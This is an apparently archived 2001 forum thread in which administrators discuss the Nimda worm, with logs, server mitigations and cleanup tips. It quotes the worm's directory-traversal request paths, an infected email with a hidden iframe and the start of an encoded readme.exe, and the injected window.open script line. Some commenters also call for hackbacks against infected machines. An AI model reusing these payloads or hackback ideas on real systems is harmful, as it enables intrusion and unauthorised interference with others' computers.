[Anonymous Coward]

Finally, I get to enjoy the fact that I'm on FreeBSD!!!!

Re:Corporate ought to be securing the box better..

[Anonymous Coward]

Hey, someone else who learned Unix before 1985! Howyadoin?

Concept Virus(CV) V.5

[Anonymous Coward]

Here is some information on the virus/worm that the FBI is investigating this morning.

This morning my IIS server has been hit several times with a worm. The internal name of the worm/virus is Concept Virus(CV) V.5. Another server that was open to the vulnerability downloaded readme.exe to my web client when I visited their web page. You can view a query of these attacks from my log file at http://nasc.uwyo.edu/IISworm.asp. CERT has not released an advisory yet.
I am looking through the code of the readme.exe file. It looks like it infects the following files.

Admin.dll
winzip32.exe
readme.html .asp .htm .exe
main.html .asp .htm .exe
index.html .asp .htm .exe
default.html .asp .htm .exe
winzip32.exe
riched20.dll

It also looks like the worm sends itself using MAPI. It also creates a share on the C:\ drive that is accessible to anyone that logs in as a guest.

What a pain

[Kernel Kurtz]

I pipe my syslogs out to an old line feed printer, so I can have a hard copy for future reference.

How nice it was to come home on my lunch break and find about 70 pages of:

Sep 18 08:31:53 CS460805-A snort: WEB-MISC http directory traversal: 24.x.x.x:3950 -> 24.x.x.x:80
Sep 18 08:31:53 CS460805-A snort: WEB-MISC http directory traversal: 24.x.x.x:3978 -> 24.x.x.x:80
Sep 18 08:31:53 CS460805-A snort: WEB-MISC http directory traversal: 24.x.x.x:4021 -> 24.x.x.x:80
Sep 18 08:31:53 CS460805-A snort: spp_http_decode: IIS Unicode attack detected: 24.x.x.x:4071 -> 24.x.x.x:80
Sep 18 08:31:53 CS460805-A last message repeated 2 times

From what looks to be about a hundred different addresses on the same class A as mine.

Who are all these people who just haven't learned what a patch is? And can I send them a bill for my paper? Normally I use about one page a day.

Growl.

Deny your Subnet

[Phrogz]

If you aren't certain that your WinNT box is safe, deny your entire subnet for the time being.

Start ISM/MMC. Expand your computer's view. Right click on your Default Web Site. Choose Properties.

Click on the "Directory Security" tab.
Click the "Edit" button for "IP Addresses and domain name restrictions".

With "By Default, Grant All Computers Access" checked, click the Add... button.

Set the Type to "Group of Computers".
For the Network ID enter the first byte of *your* IP address and the rest 0s (e.g. my IP is 216.27.140.214, so I put in 216.0.0.0).
For the subnet mask, enter 255.0.0.0

Click OK. Your Website will now deny access to anyone in your class A subnet, where this worm is attacking. (How is it spreading across subnets?)

Re:Deny your Subnet

[jacobcaz]

Just to nit pick..

216.xx.xx.xx isn't a class A block. It's a class C block.

They are (and here's your trivia for the day)

000 - 126 Class A (s/m 255.0.0.0)
128 - 191 Class B (s/m 255.255.0.0)
192 - 223 Class C (s/m 255.255.255.0)

(127.x.x.x is a special case)

The "private address" range is:

10.0.0.0 - 10.255.255.255 Class A
172.16.0.0 - 172.16.255.255 Class B
192.168.0.0 - 192.168.255.255 Class C

Mask these accordingly. :-)

For the record, on my lone IIS machine the log file for today is already 2.3MB - it averages about 50KB for a "normal" day.

Re:Deny your Subnet

[Phrogz]

Good trivia to know! I had thought that the classes were how many bytes were involved, i.e.
255.0.0.0 - Class A
255.255.0.0 - Class B
255.255.255.0 - Class C

But apparently I was wrong, and I appreciate your correction.

Re:Deny your Subnet

[jacobcaz]

You're almost right. They're based on what their high order bits are set to. But not on the subnet mask, only on the IP address.

You break it (the IP address) down in binary, four groups of 8 bits. When converted to decimal we get the familiar four octal groups of 000 - 255 (00000000 - 11111111 binary)

Class A is 0
so you get 01111111 binary or 0 - 127

Class B is 10
so you get 10111111 binary or 128 - 191

Class C is 110
so you get 11011111 binary or 192 - 223

The subnet mask is completely seperate from the IP address. It is only there to let your computers/routers/net gear figure out what your network and host pieces are from your IP address.

A Class A is N.H.H.H
A Class B is N.N.H.H
A Class C is N.N.N.H

Where N = Network Addres(s) and H = Host Address(s).

Ahh - isn't IP addressing and subnetting fun? Actually, it is. :-)

cert.org

[Swaffs]

Am I the only one getting 403's when trying to visit cert.org?

Re:cert.org

[Anonymous Coward]

Nope, I couldn't get through either, earlier and still

Correction - it started here at US-EDT 09:18

[Swordfish]

On looking more closely at my logs for my 203.* servers, it's clear that the start was at 09:18 EDT, US time. The 203.* space consists of about 25% Australian hosts, and the rest are in Korea, Taiwan, China, Hong Kong etc. etc.

I still think that the timing cannot be coincidental.

By the way, what gives with the "offtopic" comment. Someone must be using a different dictionary to me, I guess.

Partial solution for request flood

[mindlace23]

I, like many out there, have somewhat expensive 404 pages that tries to do smart things, and takes up 20-30k in size. This is causing way too much utilization for me.

Since I do a lot of virtualhosting, I noticed that this thing always asks for the host "www"

So here is what I added to my httpd.conf to just serve a 0 length file from apache instead of doing the expensive 404:

<VirtualHost *>
ServerName www
SetEnvIf Host "www" dontlog=1
CustomLog foo common env=!dontlog
RewriteEngine On
RewriteLogLevel 0
DocumentRoot /var/log/imeme/
RewriteRule ^(.*) /empty.file
</VirtualHost>

If someone knows a more elegant way to disable logging, let me know.

Re:Partial solution for request flood

[Anonymous Coward]

Using the "www" as exclusion isn't recommended since any entry with "www" in it anywhere will be dropped (including referring sites, bots, and other non-standard items you may wish to keep).

Re:Partial solution for request flood

[JatTDB]

I've got an idea...how about a nice, simple 404 page? You know, maybe something like the "default" 404 page, with maybe a link to the site's home, and maybe if you're feeling really frisky, a link to the site map (if you have one).

I fucking hate it when I go to a site, click around, run into a 404, and i get a page complete with all the layout and everything else of the rest of the site, and somewhere buried in there is "by the way, the thing you wanted to see isn't here". "404 - Not Found" in big-ass letters is a much better way of doing it.

But nobody ever listens to me.

Re:Partial solution for request flood

[mikeraz]

I changed the DNS record for www.beerontheweb.com to address 127.0.0.1. While it doesn't make logging more efficient, it certainly addresses the problem.

Fortunately, I can have that website out of commission.

Re:Partial solution for request flood

[mindlace23]

How about a nice, simple 404 page that tries to do something reasonable with the input request, and see what pages in the site might actually be what the user was looking for? It's neat to do, and much more user friendly than the "404 not found" you suggest, but means you have to do some dynamic work with each 404.

More likely (and the case with a number of sites I've worked on) you've moved a lot of things around, and so (in one implemenation) you trap the 404 responses and sniff around to see where the new things are.

Re:Partial solution for request flood

[mindlace23]

Don't forget to put this as the *last* VirtualHost.

Text of Newsbytes Article

[Staciebeth]

By Brian McWilliams, Newsbytes

CAMBRIDGE, MASSACHUSETTS, U.S.A.
18 Sep 2001, 11:18 AM CST

A new, malicious worm targeting Microsoft Web servers is in the wild and is frenetically scanning the Internet, security experts said today.

Starting this morning, numerous system administrators have observed a dramatic increase in probes from remote systems, according to reports on several mailing lists. The probes, coming sometimes hundreds per minute, appear to be attempting to access several commonly exploited files on sites running Microsoft's Internet Information Server.

According to Johannes Ullrich, operator of the Dshield.org intrusion reporting service, the scans are already tying up some networks.

"For the last few hours, systems are getting hammered with every IIS exploit on the book. Even though most of these exploits are useless, the bandwidth consumed is large," said Ullrich.

Anti-virus researchers at Symantec have released a preliminary analysis of the worm, which they have dubbed "W32.Nimda.A@mm." According to the firm, besides scanning for vulnerable IIS systems, the worm appears to use e-mail to propagate itself, arriving in a file attachment named "readme.exe." The worm also opens up the computer's hard disk as a network share.

According to Elias Levy, chief technology officer for SecurityFocus, the new worm is "very aggressive" and appears to be using elements of several earlier worms.

Log files posted by participants in one mailing list reveal that infected systems attempt "Get" requests to more than a dozen files on target servers. Among the files is root.exe, a program created by two previous worms, Sadmind and Code Red II. Also targeted is cmd.exe, the command program or "shell" installed on all Windows NT systems. The scans also access a file called "admin.dll" which is used by Microsoft's FrontPage product.

While the worm is likely only to infect IIS systems, its probes are consuming resources and bandwidth of all types of Internet-connected devices, according to reports from administrators.

The Computer Emergency Response Team (CERT) said it has begun receiving reports today of a "massive increase in scanning directed at port 80."

Ten days ago, malicious code experts identified a new self-propagating worm which they dubbed Code Blue. Because it exploits a nearly year-old flaw in Microsoft's IIS software known as the Web Server Folder Traversal vulnerability, experts said they did not expect Code Blue to spread widely.

Symantec said Nimda appears to attempt to spread using the same vulnerability as Code Blue.

In an advisory released Monday, the FBI's National Infrastructure Protection Center warned that it expects an increase in denial of service attacks from pro-American vigilantes in the wake of the terrorist attacks on New York and Washington, D.C., last week.

Symantec's information on Nimbda is at
http://www.sarc.com/avcenter/venc/data/w32.nimda.a @mm.html

NIPC's advisory on potential denial of service attacks is at http://www.nipc.gov/warnings/advisories/2001/01-02 1.htm .

Reported by Newsbytes, http://www.newsbytes.com .
11:18 CST
Reposted 11:47 CST

1000's of hits a day!!

[ScottDB]

If anyone is interested, I've been keeping a running total of Code Red scans on my Linux/Apache server since Aug. 1, and now Nimda scans too!
Nimda is hammering my server hot and heavy!

http://sdboyd.dyndns.org/Code_Red_report.html
http://sdboyd.dyndns.org/nimda_report.html

--------
We don't care. We don't have to.
We're the software monopoly...
--You get one guess, that's all.

Shut down the servers

[AeiwiMaster]

Could someone modify to shutdown the servers
after infecting the local net, please.

Poor Responsibility at my University

[Mnemia]

At the university I attend, I had noticed severe slowdowns with our network all this morning, and our IS staff sent out an email saying that they were working on the problem. What they didn't mention is that the reason net performance has ground to a halt is that there are multiple infected machines RUN BY IS on the internal LAN. In other words, the people who should know better are the ones running the unpatched IIS boxes! You'd think they would have learned after Code Red....

Re:National Infrastructure Protection Center warni

[PD]

All threats, or just viruses that contain a threat? I would hate to think that saying something against the government would be considered an act of war.

Re:You could just take my cable company's approach

[MadAhab]

I agree, but that doesn't mean it ain't bullshit that the big media companies are trying to shut down the peer-to-peer nature of the internet... and if you think that isn't about keeping you glued to the tube, they've already eaten your brain.

Why does IIS run by default?

[gizmo_mathboy]

I think the biggest cause for the spread of it in a corporate environment is that IIS is turned on by default.

Why does MS (and IT departments) have IIS running by default?

Everyone running an OS by now should run a minimum of services/applications by default.

Live and learn I suppose.

Re:Why does IIS run by default?

[NetJunkie]

You have to add IIS during install. Just some people like the "Give me everything!" option.

Re:Why does IIS run by default?

[gizmo_mathboy]

I had a very IIS like service running on my box at work. I just happened to notice that my event log fill up with warnings about 404.htm not being found.

I promptly started looking for W3SVC and its ilk and stopped them.

Very interesting that IT departments don't at least know better to shutdown non-essential (whom needs a web server or web publishing services) running on their box?

Re:Why does IIS run by default?

[90XDoubleSide]

I think the underlying question here is why not force someone to enable it? A user who choses to install everything should not be expected to have looked at every file he installed and considered the security implications of them. It is simple logic that even if you installed server software of any type as part of your OS, it should not be enabled until the user actively enables and configures it. In the larger argument about MS and security, I agree that you could make an argument that a good admin could run a relatively secure server (and many people have tried to do so), but you will be fighting against all sorts of stupid "features", bugs, and design errors like this that are created by a much larger issue with the lack of concern about security, and even more broadly with the lack of focus and accountability that is charictaristic of most MS products. Bad design like this will become more and more important with the migration of more users to Win2K/NT for their desktops as MS makes each version of theit consumer OS more hostile to power users.

Fancy that

[Anonymous Coward]

An exploit that doesn't follow the rules! How ungentlemanly.

(cf terrorists who ignore the laws)

Maybe Fix it temporarily

[msheppard]

Here's what I did to stop it so far:
1. Rename the outlookexpress executeable
2. Delete auto-run EML file type thing
3. Delete README.EXE
4. Delete *.EML
5. Make sure there is no *.EML in your startup
6. Reboot
7. Install Linux 8^)

Hackback?

[Baloo Ursidae]

If anybody knows what URL executes commands on the compromised server or a relatively open hackback that can be scripted looking at apache logs, it would be greatly appreciated.

Before someone gets all uppity about the morality of hackbacks, we're talking harmless start default browser and get pointed at a page telling you how to fix it. This was extraordinarllily effective at getting people patched when code red went about: 5000 hits on day 1 to the patch page, 72 on day 2, and it stayed relatively static after that.

What would this do?

[Anonymous Coward]

I don't have time yet to write a user space filter for theses annoying requests. So I shutdown my webserver and added the following line to my iptables setup script:
/sbin/iptables -t filter -A INETIN -p tcp --dport 80 -j MIRROR
What I'm wondering is what effect if any would the mirror target do? I'm hoping it'll re-infect itself some more until the process table overloaded and BOOM!...is this true? or should I just redirect to www.microsoft.com?

Riched20.dll

[istartedi]

Run system file checker after you get this. Riched20.dll may be corrupted. My headers looked like this:

Received: by mail (mbox 7406.comments)
(with Cubic Circle's cucipop (v1.31 1998/05/13) Tue Sep 18 10:05:38 2001)
X-From_: kuzo01@hotmail.com Tue Sep 18 09:48:25 2001
Return-Path: <kuzo01@hotmail.com>
Delivered-To: 7406.comments@mail.ahnet.net
Received: from NIGHTCRAWLER (unknown [198.31.205.12])
by mail.ahnet.net (Postfix) with SMTP id 5810065B24
for <comments@vrml3d.com.>; Tue, 18 Sep 2001 07:34:22 -0700 (PDT)
From: <kuzo01@hotmail.com>
Subject: ware\Microsoft\WindoJ..b4 á.samplesamplesampledesktopjeditcvssamplemakefiled esktopdesktopsamplemakefiledesktopjeditcvsmakefile jeditcvsmakefiledesktopdesktopjeditcvsmakefilesamp lejeditcvsmakefilemakefiledesktopjeditcvssamplemak efilesamplesamplejeditcvsdesktmail-incoming2.ahnet .net.jeditcvs
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
Message-Id: <20010918143422.5810065B24@mail.ahnet.net>
Date: Tue, 18 Sep 2001 07:34:22 -0700 (PDT)

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAA AA AAAAAAAAAAAAAAAAAAAAAAAAAA

[the remainder of the message is base64 encoded, also please note that some of the characters in the Subject line are unprintable and were replaced with '.' when pasted]

I was alerted to the problem by a dialog box that quickly disappeared, and a lot of extra hard drive activity. I crash-booted my box, and when it came back up there were no extra processes or files, and the registry checked out but that DLL was corrupted.

Here's my post to NANOG

[davidu]

Hello,

Tuesday, September 18, 2001, 11:51:43 AM, you wrote:

JM> Yes. We are seeing it here bigtime. Does anyone have any apache hacks
JM> to lessen the impact? One idea: Once a probe is sent, the prober's
JM> IP# is stored in a hash (perhaps in shared memory or a mmap'd file
JM> that all children can share) and new connections from that IP are no
JM> longer accepted.

Here's a possibility but I need help with one aspect:

A) create a rule in your apache httpd.conf like this:

<Location /scripts/root.exe>
Deny from all
ErrorDocument 404 http://www.everydns.net/blockip.php
</Location>

B) create blockip.php (or use perl or whatever[read: python])
<?
$iptables = '/usr/local/sbin/iptables';
$ip = $REMOTE_ADDR;
$blockline = $iptables." -A INPUT -s ".$ip." -p all -j DROP;";
system($blockline);
?>

C) the caveat here is that you need to give the webuser (nobody)
access to iptables. This can be done in sudo like this:
nobody ALL=NOBODY: /usr/local/sbin/iptables

The MAJOR problem is that you have now given your entire web site
access to iptables. If you have a machine which has no "users" then
this may be okay for you however for most of us it is not. Do any of
you have a way to call a perl script directly from the httpd.conf
entry and perhaps pass the REMOTE_ADDR to it? I know there's a way
and I'll look for it, but in the meantime -- any ideas?

Thanks,
David Ulevitch
davidu@everydns.net

Re:Here's my post to NANOG

[mbyte]

An better idea would be to put the hosts into some sort of logging (mysql, etc), then run a shell script every 5 minutes or so that blocks those hosts

Re:Here's my post to NANOG

[kindbud]

How do you know the worm will follow the redirect to the 404 document? You are aware how ErrorDocument works when it points to an external URL, right?

Re:Here's my post to NANOG

[davidu]

it does. been tested -- it works.

here is an apache module which scans and blocks infected hosts:

Apache-Nimba-0.1.tar.gz

-dave

We got it and it used RealPlayer to lock us out...

[NanoGator]

We were victims of this virus as well. Only this time what happened was it used RealPlayer to keep respawning itself, causing explorer to crash repeatedly and eventually fill up virtual memory until it crashed.

This made it problematic to figure out what to do to stop this because I couldn't even do something as simple as look at my system drive. Fortunately, I was able to use Taskmanager.

If anybody runs into a problem like this, here are a some tips:

- Explorer is basically hosed using this type of attack. However, Taskmanager (set to always on top) will allow you to perform basic file operations. From Taskmanager, go to 'File/Run' and hit "Browse". When you rightclick on a file/folder you can do things like delete, rename, etc.

- In this particular case, RealPlayer was being used to cyclicly run itself over and over again, so I renamed the 'Real' folder to 'Real_', thus making Windows think the program's non-existent anymore. This was tricky because the file was sometimes in use, but I was finally able to manage it.

- I found the 'readme.eml' file on the system drive. I'm still trying to determine how it got there, but it can be prevented from entering there by creating a 'readme.eml' folder, as my coworker recommended. This will prevent a file with that name from being created in there.

- If you have trouble deleting the files that were being run, check to make sure that they're not 'System Files'. I ran into that problem.

Echo Audio Infected

[_pi-away]

Just thought i'd mention that Echo Audio's site www.echoaudio.com is currently infected. I'm using the IE 5.5 (Sp2) and it asked me if i wanted to save or execute readme (1).exe, but at least it didn't just run. I called and let them know of the problem at 11:00am PST, so i don't know how long it will remain infected.

AOL infected???

[Anonymous Coward]

Just hit by 205.188.140.176...hmmm, plug that into Netscape and I get www.aol.com.

Lovely...

Wormageddon?

[Black Parrot]

> It's something new attacking something old. It looks to me like its trying a few of the old IIS vulnerabilities...

Suppose someone wrote a worm that, whenever it managed to root a box, would undo the patches that finally killed off the famous worms of the past, and also remove the anti-virus software's data files.

Since many of those worms/viruses are still lurking about at the level of background noise, they would suddenly find a vastly expanded niche and start attacking machines that had formerly been off limits to them.

You could get a huge pile-up of worms and viruses all "re-released" simultaneously.

Re:Wormageddon?

[logicnazi]

What would be the point? Sure it would cause more chaos but presumably this box is already rooted and there are far easier ways to cause chaos. Your worm for instance could start corrupting files etc.. etc..

Letting in someone else's worm just takes away processing resources from your (presumably superios) worm

Re:Wormageddon?

[cybermage]

What would be the point?

Once you've applied a patch, how likely are you to realize you need to do so again? Also, many people will attribute, falsely, adverse affects of other viruses to your virus, making it more difficult to isolate yours. A patch for a worm that re-opens other holes would need to close all of the holes to be truely affective.

Apache doesn't have to log this trash

[Anonymous Coward]

If you're running Apache, you can do conditional logging by inserting the following in your main virtualhost:

SetEnvIf Request_URI "winnt" dontlog
SetEnvIf Request_URI "root.exe" dontlog
CustomLog /path/to/http_access.log combined env=!dontlog

Of course you can set this up to be any kind of log you want, not simply "combined". And, sorry if this has been posted before, but I really don't have time to read all the posts. More info here: http://httpd.apache.org/docs/logs.html#conditional

Viruses a terrorist activity

[Anonymous Coward]

Maybe releaseing a virus should be considered to be on the same level with any other terrorist act.

MS infected!

[CrazyBrett]

I just talked to one of my friends at microsoft, and apparently his workstation just got infected with the new virus. Good to see that they're reaping the benefits of their own products :)

Re:MS infected!

[WildBeast]

well what kind of a friend to you have?

Apache::CodeRed

[don_carnage]

This is a really great Perl module that can help to combat the CodeRed virus and could possible even be used on Nimda:

Apache::CodeRed

Name scrambling worm?

[mhauer]

While symantec calls it "Nimda", McAfee refers as "Minda". It's really a powerfull polymorphic worm, it changes it's own name.

NoSig

Re:How to stop Internet Explorer executing said wa

[platypus]

NO! Here's what wget showed me for one host:

[message/rfc822]

So this thing is really evil:

1. it uses many forms of attack
2. it attacks server _and_ clients
3. it propagates by tftping the load from altering hosts (probably from the host which
did the attack before)
4. it alters the content type for the client infection via http+IE

An ISPs MRTG Graph of this Bug

[slashpot]

I work for an ISP - all of our servers are linux/openbsd - not one NT/IIS box in house.

The traffic being generated by all our neighboring class A blocks is saturating our T1's... our webservers are running full blast logging 404 errors.

Here's an mrtg graph of T1 bandwidth at one server pop.

Sue stupid admins.

[rebelcool]

One would think after code red people would update their server software.

People who fail to patch their systems should be sued for incompetance. Whether it be microsoft, linux or what not.

Re:Sue stupid admins.

[alienmole]

I don't have the details yet (I'm a developer, not an admin), but from what I can tell, the propagation of Nimda included a new mechanism through Exchange/Outlook. Patched servers weren't protection enough. I'm basing this on one site where all servers were patched, but their workstations, behind a firewall, were all infected. This in turn seems to have succeeded in infecting their (Exchange) mail server (although it may be that the server was infected through some other means that hasn't yet been patched.)

The good news is I may convince them to abandon Outlook/Exchange now.

Re:Sue stupid admins.

[BJH]

although it may be that the server was infected through some other means that hasn't yet been patched

Probably shared drives.

Re:Sue stupid admins.

[alienmole]

Yeah, but the program still has to be run on the server to infect it, and this server allegedly became infected without any admins ever logging into it. Made me wonder if there isn't something going on with Exchange/MAPI, etc., but I haven't tried to research it yet.

Re:Sue stupid admins.

[Velox_SwiftFox]

Largely Microsoft's fault that they don't:

- MS's service packs undo previous fixes;

- MS confuses things by issuing multiple "service packs" with identical numbers, requiring measurement of actual file creation dates and sizes to establish if you've really installed;

- MS's malfunctions force you to reload components that then require you to reload the patches;

- MS makes you wade through about 4 pages to actually find and get to each of dozens of post-service-pack hotfixes (for Win2000 SP2 at least);

- Multiple hotfixes try to make you reboot the box after they are applied, making the process long and tedious;

- Most of the hotfixes force you to analyze if you really need them because of the components that are affected, and warn not to install them if they aren't "really necessary".

Re:Sue stupid admins.

[wulfhere]

Amen. I'm the M$ admin here by default, because somebody has to do it.

I 100% swear (and have witnesses that remember) that 6 months ago I patched our server which just got infected yesterday.

Apparently, one of the hotfixes we've applied since then broke this patch, and so we get infected by this stupid thing. Can anyone tell me IN WHICH SPECIFIC ORDER I HAVE TO APPLY AND REAPPLY EACH FUCKING HOTFIX TO BE TRULY PATCHED?

I have seen what it does to IE6

[Heywood Yabuzof]

I'm running IE6 - when I went to a page on an infected server, IE asked me what I wanted to do with this "audio" file it thought I wanted to open then shut down (IE shut down, not anything else) when I told it NOT to open in the browser.

I think IE5.5 SP2 will do this as well - it's a MIME vulnerability that supposedly is fixed with these newer versions of IE (the vulnerability being that the file tells IE it is an audio file, but is actually executable)

LINK to hacked web pages...

[Scratch-O-Matic]

I have a link to an infected index.html.

PLEASE USE THIS LINK RESPONSIBLY. If you are running MS something, you risk infection.

I've seen two variants. The first said (red letters on a black background):

fuck CHINA Government
fuck PoisonBOx

The other version said fuck USA Government.

USE LINK WITH CAUTION..it will attempt to load a script: (actually, to be on the safe side I'm just using the IP rather than a complete link:)

216.47.210.11

Re:LINK to hacked web pages...

[Anonymous Coward]

or you could just open up netstat and pick your own :)

This worm makes CodeRed . . .

[mikeraz]

This train wreck of a worm is so virulent it's going to make CodeRed look like a tricycle tip over.

One apparent Perl/UNIX attack in the mix

[rjamestaylor]

I'm getting, with the other Windows-specific attacks, one Non-Windows specific (rather a perl/CGI specific) attack: a request for "libwww-perl/5.51".

Not something you want to start.

[NetJunkie]

This is all well and good when it is Microsoft. But what happens when these things start hitting badly administered Linux/BSD/Solaris boxes? Will you be so quick to demand Red Hat send out CDs and pay damages? Doubtful.

Blame the admins and only the admins. I can forgive not patching something the first day, but by now? What are these people doing?

Re:Not something you want to start.

[Skweetis]

What are these people doing?

Most of these people aren't even aware they are running IIS on the thing, and have no concept of what it is to be an admin. Today I spent two hours on the phone with a CS major (I work at in a university IT department) whose pirated copy of Win2K Advanced Server was doing its best to eat our main webserver. He was completely unaware that his computer was doing anything different from usual, as his MP3 downloading and sharing was progressing at its usual rate. My first impulse was to bring the moron up on charges, deny him access to network resources for the rest of his college career, have him arrested for the DoS attack, etc. However, he won't learn anything that way. Instead, I pulled some strings with the Instructional Technology guys and got him a free pass into one of the Windows 2000 Administration training courses. Now he can learn how to use his computer, and possibly get himself a certification later.

Re:Not something you want to start.

[BJH]

You should have gone with your instincts. A CS major that doesn't even know enough about his own PC to run it properly? Sheesh...

Get a load of this one

[Anonymous Coward]

My company's server log showed a barrage from: 216.191.58.143, being that this is an IIS/NT worm I knew that address must have a web server. I plugged it into my browser and guess what it is?

Microsoft itself! Their NT option pack page nonetheless, with a few references to IIS in the page. Check it out!

As usual...

[vex24]

Always (fr)agile, ready to (c)rumble...

Enterprise software from Microsoft.

No ...

[taniwha]

Better to evangelize the people who are running the lame-ass M$ servers.

I mail every single one I can get an email address for, but frankly it's a losing battle and shouldn't be my job anyway - many of these servers are living on dhcp leases from their ISP.

I think that a person who's running a rougue computer that's breaking into other people's machines should be shutdown by their ISP - and they afterall are the people who can match DHCP leases/times with email addresses/accounts.

I'd like to see ISPs take a public proactive initiative in this area .... and if they don't we should all install scripts in our apache servers that report each and every attack to the attacker's ISP ....

Re:No ...

[arantius]

I couldn't agree more. The ISP is the only body that can do anything to remedy the problem from the infected server perspective.

@home already runs scans of computers, for NNTP servers AFAIK, maybe more. They should scan for infected computers (that get blabla/cmd.exewhatever) and disconnect them, and contact the owners. They're the only ones that have firm connectionowner records through billing.

Unfortunately there's nothing that legally forces ISPs to do this and they won't. Bah.

Fool...

[Anonymous Coward]

That's the default install page for NT Option Pack.

16:40 PM???

[Anonymous Coward]

Update: 09/18 16:40 PM GMT by J:

There is no AM or PM when using a 24-hour clock, moron.

Re:16:40 PM???

[jamie]

We prefer you submit bugs to SourceForge, since the unorthodox method you used here does not always get our attention. Nevertheless: fixed (line 3887 of Slash/DB/MySQL.pm).

There are already variations

[AndyLippitt]

Early request patterns looked like this:
(Params/IP Omitted)
/scripts/root.exe
/c/winnt/system32/cmd.exe
/_vti_bin/..%5c../..%5c../..5c../winnt/system32/cm d.exe
/_vti_bin/..%5c../..%5c../..%5c../Admin.dll
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/c md.exe
/winnt/system32/cmd.exe
/scripts/..%5c../winnt/system32/cmd.exe
/scripts/..%5c../winnt/system32/cmd.exe


Now I'm seeing these in some requests:
/scripts/..Á../winnt/system32/cmd.exe

disabling sound in websites helps in ie

[Anonymous Coward]

Its true... like anyone posted you can get rid of infected servers attempt to push that readme.exe to you by disabling sound in websites in ie options.

Freakone

Can't someone turn the tables?

[Soundy]

Reprogram the worm to, instead of propogate itself once into a vulnerable server, simply shut down the server and/or machine, or better yet, simply remove/break the IP stack. I could feed it all the IPs of infected machines out of my webserver logs. Kinda cyber-Darwinism.

Re:Can't someone turn the tables?

[Anonymous Coward]

yeah, let's. I want to "kill" them all (the attacking machines, that is!).

mmc.exe file in WINNT directory

[Anonymous Coward]

Just found an mmc.exe file in the WINNT directory on our infected IIS server (luckily, one of the three remaining NT machines we have left).

The modified date/time coincides exactly with the time the attack started on our server. Any attempt to delete the file shows a sharing violation/file may be in use. A quick look at the ownership shows it to be owned by the Internet Guest account. I'm attempting to remove the file now. Just an fyi to anyone who hadn't noticed this yet.

Raymond Umerley
Manager of Network Operations
Antenna Software, Inc.
rumerley@antennasoftware.com

Re:mmc.exe file in WINNT directory

[Anonymous Coward]

Follow up point...

Since the real mmc.exe is located in the System32 directory, anyone launching mmc from start/run will execute the bogus file first. From my best determination, the file is simply another version of the readme.exe (exact file size, etc). So running mmc will simply launch the payload again.

Regards,
Raymond Umerley
Manager of Network Operations
Antenna Software, Inc.
rumerley@antennasoftware.com

Re:mmc.exe file in WINNT directory

[Anonymous Coward]

Be careful, on my affected servers I am finding the following line of text at the bottom af all of my web pages:

window.open("readme.eml", null, "resizable=no,top=6000,left=6000")

Re:mmc.exe file in WINNT directory

[Anonymous Coward]

the modified part of mmc.exe also has a reference to c:\Admin.dll, d:\Admin.dll, and e:\Admin.dll, all of which have been modified in the same way as mmc.exe at the same time (around 6:20am PST)

Re:mmc.exe file in WINNT directory

[Anonymous Coward]

Noticed the added script at the bottom of the web pages when we determined they were making the call. I had our webmaster run a search through Homesite of all the Inetpub directories to root out the infected pages.

I changed the name of the bogus mmc.exe to mmc.doc for now until I can track down what is using it and preventing me from deleting the file. Also, noticed that Guest had been giving rights in the local Administrators group (deleted and disabled as of a little while ago).

Whoever did this really knew how to be a pain in the ass...

Raymond

Re:What doesn't kill us will only make us stronger

[Anonymous Coward]

Personally, I'd rather have better software.

That's why I try to avoid M$ as much as possible.

Um... ow.

[TDScott]

Yep, agreed. This thing is nasty.

redirects ?

[nettahcs]

do these worms follow redirects ?

I set up a redirect-to-the-microsoft-page in my httpd.conf for CodeRed-attacks - I really hope these worms follow the 302 and hit
microsoft.com :)

Doesn't really help home users though.

[strags]

The biggest problem, presumably, is the fact that it's chewing up your network bandwidth. Adding ipchains rules will cause your machine to ignore the packets, but they're still consuming time on your DSL/cable/whatever link.

What we really need is for ISP's to take a slightly more aggressive (but directed) approach.

Re:Doesn't really help home users though.

[DirkGently]

Agressive but directed? You mean like shutting off my friggin port 80 access again?

I agree that my script will only work after they've come, hit my box, and moved on. But it'll stop repeat attempts. At least slow them down a wee bit as successive port 80 attempts will have to timeout (not that I DENY'd and not REJECT'd).

dirk

Re:Doesn't really help home users though.

[roystgnr]

Adding ipchains rules will cause your machine to ignore the packets, but they're still consuming time on your DSL/cable/whatever link.

It's still a small improvement for those of us with home webservers, which will now just get and drop a couple SYN packets, rather than playing along through a whole HTTP request.

Re:Doesn't really help home users though.

[strags]

Well, like dropping port 80 packets from offending users!

You're right about the DENY/REJECT though - I hadn't spotted that - nice one.

is it malicious (or just delicious)?

[AssFace]

my friend got it on his laptop and then had some weird things happen with someone trying to get his ebay account password.

as far as I know, this thing isn't malicious beyond replicating itself and breaking into your box - annoying - but it doesn't screw up data files, or download your porn to some central server...

Apache idea

[colk99]

Apache needs an Code red worm blocker or something so we dont have to put up with 20 megs of logs for it.
Whoo hoo My entire Dedicated companies sub domain is affected

:)

Re:Apache idea

[nettahcs]

I would appreciate a shoot back option ..
'you are too dumb to apply security fixes - I shut down your freakin' iis-box :)' ;)

blackhole 'em

[Anonymous Coward]

I got sick of seeing the logs, so just blackhole on the first request (for me, it's /MSADC/root.exe):

in httpd.conf
ScriptAlias /MSADC/ "@@ServerRoot@@/cgi-bin/"

root.c:
#include
int main()
{
char *addr;

printf("Content-type: text/html%c%c",10,10);
printf("You have a virus, dumb-ass\n");

addr = (char *)getenv("REMOTE_ADDR");

if (addr != NULL) {
fflush(stdout);
close(stdout);
close(stdin);
execl("/sbin/blackhole","blackhole",addr,NULL);
}
}

blackhole.c
#include
int main(int argc, char *argv[])
{
if (argc > 1 ) {
execl("/sbin/route","blackhole","add","-host",argv [1],"dev","lo",NULL);
}
}

then
